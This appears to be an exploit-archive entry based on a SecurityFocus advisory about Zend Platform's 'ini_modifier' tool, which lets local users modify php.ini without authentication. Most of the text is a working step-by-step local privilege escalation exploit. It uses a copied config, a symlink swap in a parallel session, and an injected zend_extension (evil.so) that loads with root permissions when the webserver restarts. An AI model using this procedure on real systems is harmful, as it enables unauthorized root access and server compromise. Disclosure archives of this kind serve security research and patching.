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45 lines
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1.7 KiB
Text
45 lines
No EOL
1.7 KiB
Text
source: https://www.securityfocus.com/bid/22802/info
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The Zend Platform is prone to an issue that may let local attackers modify the PHP configuration file ('php.ini'). This issue occurs because the application is installed with an 'ini_modifier' program that may be executed by local users and will bypass the authentication that is required by the application to change the configuration file.
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An attacker could add a malicious PHP extension to the configuration or otherwise tamper with PHP configuration directives. A successful exploit could grant the attacker elevated privileges on the computer.
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$ cd /tmp
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$ mkdir ini
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$ cd ini
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$ cp /usr/local/Zend/etc/php.ini .
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... now edit zend_gui_password in the copy to a MD5 of your choice and
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... REMEBER the old MD5
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$ cd ..
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$ /usr/local/Zend/sbin/ini_modifier -f /tmp/ini/php.ini -n
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Password:
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(ini_modifier) help
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modify entry - Modifies an entry.
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switch extension - Enables or disables an extension.
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switch zend_extension - Enables or disables a Zend extension.
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help - Shows this help.
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write - Writes the changes.
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quit - Quits the program.
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(ini_modifier) switch zend_extension /var/www/upload/evil.so on
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(ini_modifier) modify entry Zend zend_gui_password OLDMD5
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(ini_modifier)
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In a parallel session you now perform the following:
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$ cd /tmp
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$ mv ini ini.bak
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$ ln -s /usr/local/Zend/etc ini
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And continue to edit the ini file:
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(ini_modifier) write
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(ini_modifier) quit
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$ cat /usr/local/Zend/etc/php.ini
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[PHP]
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zend_extension=/var/www/upload/evil.so
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...
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zend_gui_password=OLDMD5
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The next time the webserver is restarted, the injected malicious Zend Extension will be loaded and executed with root permissions. |